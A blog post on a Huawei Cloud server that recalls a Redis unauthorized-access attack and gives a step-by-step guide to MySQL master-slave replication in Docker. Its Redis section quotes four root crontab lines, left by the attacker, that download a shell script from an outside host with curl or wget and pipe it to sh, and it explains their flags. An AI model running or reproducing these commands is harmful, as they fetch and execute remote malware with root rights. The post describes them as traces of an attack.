华为云云耀云服务器L实例评测|redis漏洞回顾 & MySQL数据安全解决 搭建主从集群MySQL & 相关设置

2023-09-17 22:43:38

在这里插入图片描述

前言

最近华为云云耀云服务器L实例上新,也搞了一台来玩,期间遇到过MySQL数据库被攻击的情况,数据丢失,还好我有几份备份,没有造成太大的损失;后来有发现Redis数据库被攻击的情况,加入了redis密码初步解决问题。总之就是各种遭受毒打。。。

本篇博客回顾Redis的未授权访问漏洞,介绍MySQL主从集群的搭建,以及相关的配置

在这里插入图片描述

其他相关的华为云云耀云服务器L实例评测文章列表如下:

在这里插入图片描述

引出


1.redis数据安全的简单回顾;
2.MySQL主从搭建的流程和注意事项;
3.主从不同步的剞劂,以及只读权限的设置;

在这里插入图片描述

一、redis数据安全的问题

1.之前被攻击留下的痕迹

在这里插入图片描述

在这里插入图片描述

*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh
*/3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh
*/4 * * * * root curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh
*/5 * * * * root wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh

2.攻击命令的解读

root wget -q -O- 是一个有效的命令。它使用wget命令来下载一个文件,并将其输出到标准输出(stdout)。

  • root 表示以 root 用户身份执行该命令。
  • wget 是一个用于从网络上下载文件的命令行工具。
  • -q 选项表示静默模式,即不显示下载进度和其他信息。
  • -O- 选项表示将下载的文件输出到标准输出(stdout)。

这个命令通常用于下载文件并将其传递给其他命令进行处理,或者将文件内容重定向到其他地方进行保存或处理。

root curl -fsSL 是一个有效的命令。它使用curl命令来从指定的URL下载文件,并将其输出到标准输出(stdout)。

  • root 表示以 root 用户身份执行该命令。
  • curl 是一个用于从网络上获取数据的命令行工具。
  • -fsSL 是一些选项,具体含义如下:
    • -f 选项表示在下载文件时,如果服务器返回错误状态码,不显示错误信息。
    • -s 选项表示静默模式,即不显示进度和其他信息。
    • -S 选项表示在发生错误时显示错误信息。
    • -L 选项表示跟随重定向,即如果服务器返回重定向响应,自动跳转到新的URL。

这个命令通常用于下载文件并将其传递给其他命令进行处理,或者将文件内容重定向到其他地方进行保存或处理。

二、MySQL主从本地搭建

由于MySQL主从的搭建相比Redis主从搭建还是要复杂很多的,之前几次尝试都失败,最后终于搭建成功,因此先介绍如何在本地虚拟机中搭建主从。

在这里插入图片描述

1.挂载启动主MySQL

docker run

  • -i:以交互模式运行容器
  • -t:为容器重新分配一个伪输入终端
  • —name :容器名称
  • —privileged: 设置容器公开权限(默认为true)
  • -p :映射端口 linux端口: 容器内置端口(mysql默认端口为3306)
  • -v : linux挂载文件夹/文件和容器内路径的映射
  • -e: 容器的环境变量(设置mysql默认用户名&密码)
  • -d: 后台运行容器,并返回容器ID
docker run -it \
--name mysql_3316 \
--privileged \
-p 3316:3306 \
-v /usr/local/software/mysql/3316/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql/3316/data:/var/lib/mysql \
-v /usr/local/software/mysql/3316/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql

mysql日志文件容器中的位置

在这里插入图片描述

mysql的主的状态,binlog日志文件名,以及位置

在这里插入图片描述

主从搭建的前提条件,binlog日志文件开启,MySQL8以上默认开启

mysql> show variables like 'log_%';
+----------------------------------------+----------------------------------------+
| Variable_name                          | Value                                  |
+----------------------------------------+----------------------------------------+
| log_bin                                | ON                                     |
| log_bin_basename                       | /var/lib/mysql/binlog                  |
| log_bin_index                          | /var/lib/mysql/binlog.index            |
| log_bin_trust_function_creators        | OFF                                    |
| log_bin_use_v1_row_events              | OFF                                    |
| log_error                              | stderr                                 |
| log_error_services                     | log_filter_internal; log_sink_internal |
| log_error_suppression_list             |                                        |
| log_error_verbosity                    | 2                                      |
| log_output                             | FILE                                   |
| log_queries_not_using_indexes          | OFF                                    |
| log_raw                                | OFF                                    |
| log_replica_updates                    | ON                                     |
| log_slave_updates                      | ON                                     |
| log_slow_admin_statements              | OFF                                    |
| log_slow_extra                         | OFF                                    |
| log_slow_replica_statements            | OFF                                    |
| log_slow_slave_statements              | OFF                                    |
| log_statements_unsafe_for_binlog       | ON                                     |
| log_throttle_queries_not_using_indexes | 0                                      |
| log_timestamps                         | UTC                                    |
+----------------------------------------+----------------------------------------+
21 rows in set (0.00 sec)

mysql> 

在Navicat中也可以看

在这里插入图片描述

2.修改主的配置文件

server_id=200
log_bin=mysql-bin
binlog_format=row

主要的配置项如下所示

[mysqld]

pid-file   =/var/run/mysqld/mysqld.pid
socket     =/var/run/mysqld/mysqld.sock
datadir    =/var/lib/mysql

secure-file-priv = NULL
default-authentication-plugin=mysql_native_password

# customer config here
!includedir /etc/mysql/conf.d/

server_id = 200

检验:挂载启动的配置是否生效

在这里插入图片描述

mysql> show master status;
+---------------+----------+--------------+------------------+-------------------+
| File          | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set |
+---------------+----------+--------------+------------------+-------------------+
| binlog.000002 |      157 |              |                  |                   |
+---------------+----------+--------------+------------------+-------------------+
1 row in set (0.00 sec)

mysql> show variables like 'server_id';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| server_id     | 200   |
+---------------+-------+
1 row in set (0.00 sec)

再修改一下binlog日志文件的文件名

在这里插入图片描述

server_id = 209
log_bin=mysql-bin
binlog-format=row

说明挂载启动成功

在这里插入图片描述

mysql> show master status;
+------------------+----------+--------------+------------------+-------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set |
+------------------+----------+--------------+------------------+-------------------+
| mysql-bin.000001 |      157 |              |                  |                   |
+------------------+----------+--------------+------------------+-------------------+
1 row in set (0.00 sec)

mysql> show variables like 'server_id';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| server_id     | 209   |
+---------------+-------+
1 row in set (0.01 sec)

-- 1.创建从用户slave
CREATE USER 'slave'@'%' IDENTIFIED WITH mysql_native_password by '567';

-- 2.给用户授权
GRANT replication slave,replication client ON *.* TO 'slave'@'%';

-- 3.应用权限
FLUSH PRIVILEGES;

3.在主MySQL中创建slave用户

创建一个slave用户

在这里插入图片描述

新增从用户的加密方式

在这里插入图片描述

后面配置从需要的参数

在这里插入图片描述

该部分全部操作

在这里插入图片描述

4.挂载启动从MySQL

从的配置文件

server_id = 211
log_bin=mysql-slave01-bin
relay_log=pet-relay-bin
read_only=1

在这里插入图片描述

docker run -it \
--name mysql_3320 \
--privileged \
-p 3320:3306 \
-v /usr/local/software/mysql/3320/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql/3320/data:/var/lib/mysql \
-v /usr/local/software/mysql/3320/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql

开放端口

firewall-cmd --zone=public --add-port=3320/tcp --permanent

firewall-cmd --reload

firewall-cmd --zone=public --list-ports

5.在从salve中建立主从关系

主的内部端口号

[root@localhost ~]# docker inspect mysql_3316 | grep IPA
            "SecondaryIPAddresses": null,
            "IPAddress": "172.17.0.3",
                    "IPAMConfig": null,
                    "IPAddress": "172.17.0.3",
[root@localhost ~]# 

主的bin-log相关配置

在这里插入图片描述

change master to master_host='172.17.0.3',
master_user='slave',master_password='567',
MASTER_LOG_FILE='mysql-bin.000001',
MASTER_LOG_POS=856

进行参数的配置

在这里插入图片描述

6.在从slave中查看主从状态

在这里插入图片描述

mysql> change master to master_host='172.17.0.3',
    -> master_user='slave',master_password='567',
    -> MASTER_LOG_FILE='mysql-bin.000001',
    -> MASTER_LOG_POS=856;
Query OK, 0 rows affected, 8 warnings (0.02 sec)

mysql> start slave;
Query OK, 0 rows affected, 1 warning (0.01 sec)

mysql> show slave status \G;
*************************** 1. row ***************************
               Slave_IO_State: Waiting for source to send event
                  Master_Host: 172.17.0.3
                  Master_User: slave
                  Master_Port: 3306
                Connect_Retry: 60
              Master_Log_File: mysql-bin.000001
          Read_Master_Log_Pos: 856
               Relay_Log_File: eafddc4554f6-relay-bin.000002
                Relay_Log_Pos: 326
        Relay_Master_Log_File: mysql-bin.000001
             Slave_IO_Running: Yes
            Slave_SQL_Running: Yes

三、在华为云上搭建主从

1.准备主从文件夹,上传配置文件

在这里插入图片描述

上传附件中配置文件到conf文件夹

在这里插入图片描述

2.开放响应的端口

firewall-cmd --zone=public --add-port=3316/tcp --permanent
firewall-cmd --reload
firewall-cmd --zone=public --list-ports

在这里插入图片描述

3.挂载启动运行主master

挂载启动的命令

docker run -it \
--name mysql_3316 \
--privileged \
-p 3316:3306 \
-v /usr/local/software/mysql1/3316/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql1/3316/data:/var/lib/mysql \
-v /usr/local/software/mysql1/3316/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql

确认一下binlog是否开启

在这里插入图片描述

在my.cnf配置文件中增加配置

在这里插入图片描述

4.在主master中建立从slave用户

CREATE USER 'slave'@'%' IDENTIFIED WITH mysql_native_password by '567';
GRANT replication slave,replication client ON *.* TO 'slave'@'%';
FLUSH PRIVILEGES;

在这里插入图片描述

5.挂载自动从slave

docker run -it \
--name mysql_3320 \
--privileged \
-p 3320:3306 \
-v /usr/local/software/mysql1/3320/conf/my.cnf:/etc/mysql/my.cnf \
-v /usr/local/software/mysql1/3320/data:/var/lib/mysql \
-v /usr/local/software/mysql1/3320/mysql-files:/var/lib/mysql-files \
-e MYSQL_ROOT_PASSWORD=123 \
-d mysql

开放一下端口

在这里插入图片描述

6.在slave中建立主从关系

获得主的内部ip地址

root@hcss-ecs-52b8:~# docker inspect mysql_3316 | grep IPA
            "SecondaryIPAddresses": null,
            "IPAddress": "172.17.0.3",
                    "IPAMConfig": null,
                    "IPAddress": "172.17.0.3",

获得主的相关参数

show variables like 'log_%';
show master status;
show variables like 'server_id';

在这里插入图片描述

建立主从关系

change master to master_host='172.17.0.3',
master_user='slave',master_password='567',
MASTER_LOG_FILE='mysql-bin.000001',
MASTER_LOG_POS=841

在这里插入图片描述

记得启动从slave

在这里插入图片描述

四、一些问题及其解决

1.从数据不同步的解决

-- 如果主从同步失效,在不能使用的从输入命令
STOP slave;
RESET slave;
START slave;

在这里插入图片描述

2.限制从的权限:创建一个只读的从用户

CREATE USER 'rdb'@'%' IDENTIFIED WITH mysql_native_password by '123';
GRANT SELECT ON *.* TO 'rdb'@'%';
FLUSH PRIVILEGES;

创建只允许读的rdb用户

在这里插入图片描述

在Navicat中用rdb只读用户登陆,操作命令被拒绝

在这里插入图片描述

附件my.cnf配置文件

# For advice on how to change settings please see
# http://dev.mysql.com/doc/refman/8.0/en/server-configuration-defaults.html


#
# Remove leading # and set to the amount of RAM for the most important data
# cache in MySQL. Start at 70% of total RAM for dedicated server, else 10%.
# innodb_buffer_pool_size = 128M
#
# Remove leading # to turn on a very important data integrity option: logging
# changes to the binary log between backups.
# log_bin
#
# Remove leading # to set options mainly useful for reporting servers.
# The server defaults are faster for transactions and fast SELECTs.
# Adjust sizes as needed, experiment to find the optimal values.
# join_buffer_size = 128M
# sort_buffer_size = 2M
# read_rnd_buffer_size = 2M

# Remove leading # to revert to previous value for default_authentication_plugin,
# this will increase compatibility with older clients. For background, see:
# https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html#sysvar_default_authentication_plugin
# default-authentication-plugin=mysql_native_password


# skip-host-cache
# skip-name-resolve

# socket=/var/run/mysqld/mysqld.sock
# secure-file-priv=/var/lib/mysql-files
# user=mysql

[mysqld]

pid-file   =/var/run/mysqld/mysqld.pid
socket     =/var/run/mysqld/mysqld.sock
datadir    =/var/lib/mysql

secure-file-priv = NULL
default-authentication-plugin=mysql_native_password

# customer config here
!includedir /etc/mysql/conf.d/

server_id = 200

总结

1.redis数据安全的简单回顾;
2.MySQL主从搭建的流程和注意事项;
3.主从不同步的剞劂,以及只读权限的设置;

更多推荐

【脑机接口论文与代码】 基于自适应FBCCA的脑机接口控制机械臂

Brain-ControlledRoboticArmBasedonAdaptiveFBCCA基于自适应FBCCA的脑机接口控制机械臂论文下载:算法程序下载:摘要1项目介绍2方法2.1CCA算法2.2FBCCA算法2.3自适应FBCCA算法3数据获取4结果4.1脑地形图4.2频谱图4.3准确率5结论基于自适应FBCCA的

2023最新如何轻松升级、安装和试用Navicat Premium 16.2.10 教程详解

🌷🍁博主猫头虎(🐅🐾)带您GotoNewWorld✨🍁🦄博客首页——🐅🐾猫头虎的博客🎐🐳《面试题大全专栏》🦕文章图文并茂🦖生动形象🐅简单易学!欢迎大家来踩踩~🌺🌊《IDEA开发秘籍专栏》🐾学会IDEA常用操作,工作效率翻倍~💐🌊《100天精通Golang(基础入门篇)》🐅学会Gol

Linux学习第16天:Linux设备树下的LED驱动开发:举一反三 专注专心专业

Linux版本号4.1.15芯片I.MX6ULL大叔学Linux品人间百味思文短情长在开题之前,先说一下这次的题目,尤其是后面的“举一反三专注专心专业”到底想给大家传递什么信息。LED驱动开发,目前为止已经学了好几种方法,包括裸机开发、嵌入式LinuxLED驱动开发以及基于API函数的LED驱动开发,再加上今天要学习的

基于Java的养老院管理系统的设计与实现(亮点:多角色、登录验证码、留言反馈)

养老院管理系统一、前言二、我的优势2.1自己的网站2.2自己的小程序(小蔡coding)2.3有保障的售后2.4福利三、开发环境与技术3.1MySQL数据库3.2Vue前端技术3.3SpringBoot框架3.4微信小程序四、功能设计4.1主要功能描述五、系统实现5.1养老院老人功能5.1.1饮食喜好5.1.2体检结果

为何学linux及用处

目前企业使用的操作系统无非就是国产类的,windows和linux类。我们要提升自己的技能,需要学习这两款。我记得在大学时期,学习过windows以及linux,但当时觉得又不常用,就学的模棱两可。毕业之后,你会发现,其实这两种操作系统是很主流的。为什么学?下面就是一些工作中遇到的例子分享一下。我记得在企业中有次遇到数

jvm深入研究文档--整体概念

阿丹:精通JVM对于一个java工程师非常重要,要是深入了解了jvm就可以有效的面对下面的问题程序调优:JVM的配置和调优对于程序的运行有着至关重要的影响。不同的业务场景需要不同的JVM配置,比如设置不同的垃圾收集器、调整新生代和老生代的内存配置和占比等。只有深入理解JVM,才能针对不同情况进行有效的调优,以满足程序高

C++面经之多态|多态的原理|虚函数

文章目录目录一、多态的概念1.概念二、多态的定义及实现1.多态的构成条件2.虚函数3.虚函数的重写虚函数重写的两个例外:4.c++11中的override和final5.重载、覆盖(重写)、隐藏(重定义)对比三、抽象类1.概念2.接口继承和实现继承四、多态的原理1.虚函数表2.多态的原理3.动态绑定与静态绑定五、单继承

Python 中对IMU进行积分得到位姿

从数据集中收集到一些IMU传感器输出的测量值和参考位姿,现需要对他们进行积分得到位姿,并与位姿真值进行对比数据读取准备的数据以txt格式保存,每行表示一组测量,其存放格式为#时间,真实位移x,真实位移x,真实位移x,真实四元数qx,真实四元数qx,真实四元数qx,真实四元数qx,测量加速度x,测量加速度y,测量加速度z

零售超市如何应对消费者需求?非常全面!

随着科技的飞速发展和消费者期望的不断演变,零售行业正经历着一场深刻的革命。传统零售模式逐渐被新零售模式所取代,而其中一个备受关注的元素是自动售货机。自动售货机不仅在商场、车站和办公楼等高流量地点迅速扩张,还在重新定义我们如何购物、何时购物以及购物的方式。客户案例哈尔滨零售超市多年来一直面临着竞争激烈的零售市场和日益挑战

实用的嵌入式编码技巧:第三部分

每个触发器都有两个我们在风险方面违反的关键规格。“建立时间”是时钟到来之前输入数据必须稳定的最小纳秒数。“保持时间”告诉我们在时钟转换后保持数据存在多长时间。这些规格因逻辑设备而异。有些可能需要数十纳秒的设置和/或保持时间;其他人则需要少一个数量级。图9.1:建立和保持时间如果我们倾向于编织,我们将尊重这些参数,并且触

《思维与智慧》简介及投稿邮箱

《思维与智慧》自1982年创刊,经国家新闻出版署批准,由河北省教育厅主管,河北行知文化传媒有限责任公司主办的益智励志类大众文化期刊。《思维与智慧》办刊宗旨是:“开发思维,启迪智慧,滋润心灵”,以通俗形式、简明语言介绍创新思维学的基本知识,展示创新思维的哲理性、深刻性,但力戒抽象议论,而应深入浅出,夹叙夹议,寓理于事。主

热文推荐